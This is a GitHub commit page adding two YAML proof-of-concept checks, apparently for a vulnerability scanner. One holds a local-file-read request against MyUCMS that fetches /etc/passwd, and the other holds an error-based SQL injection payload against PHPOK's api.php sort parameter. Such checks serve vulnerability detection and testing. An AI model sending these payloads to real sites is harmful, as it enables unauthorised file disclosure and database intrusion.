Skip to content

Commit

Permalink
新增poc (#633)
Browse files Browse the repository at this point in the history
* 新增poc

* Update phpok-sqli.yml

* Delete myucms-lfr-windows.yml

* Update myucms-lfr-linux.yml

* Update myucms-lfr-linux.yml

* Update and rename myucms-lfr-linux.yml to myucms-lfr.yml
  • Loading branch information
jinqi520 authored and virusdefender committed Jan 6, 2020
1 parent a7438bc commit 7f50820
Show file tree
Hide file tree
Showing 2 changed files with 22 additions and 0 deletions.
10 changes: 10 additions & 0 deletions pocs/myucms-lfr.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
name: poc-yaml-myucms-lfr
rules:
- method: GET
path: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: jinqi
links:
- https://github.com/jinqi520
12 changes: 12 additions & 0 deletions pocs/phpok-sqli.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
name: poc-yaml-phpok-sqli
set:
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: "/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{r1}}))) --+"
expression: |
response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))
detail:
author: jinqi
links:
- https://github.com/jinqi520

0 comments on commit 7f50820

Please sign in to comment.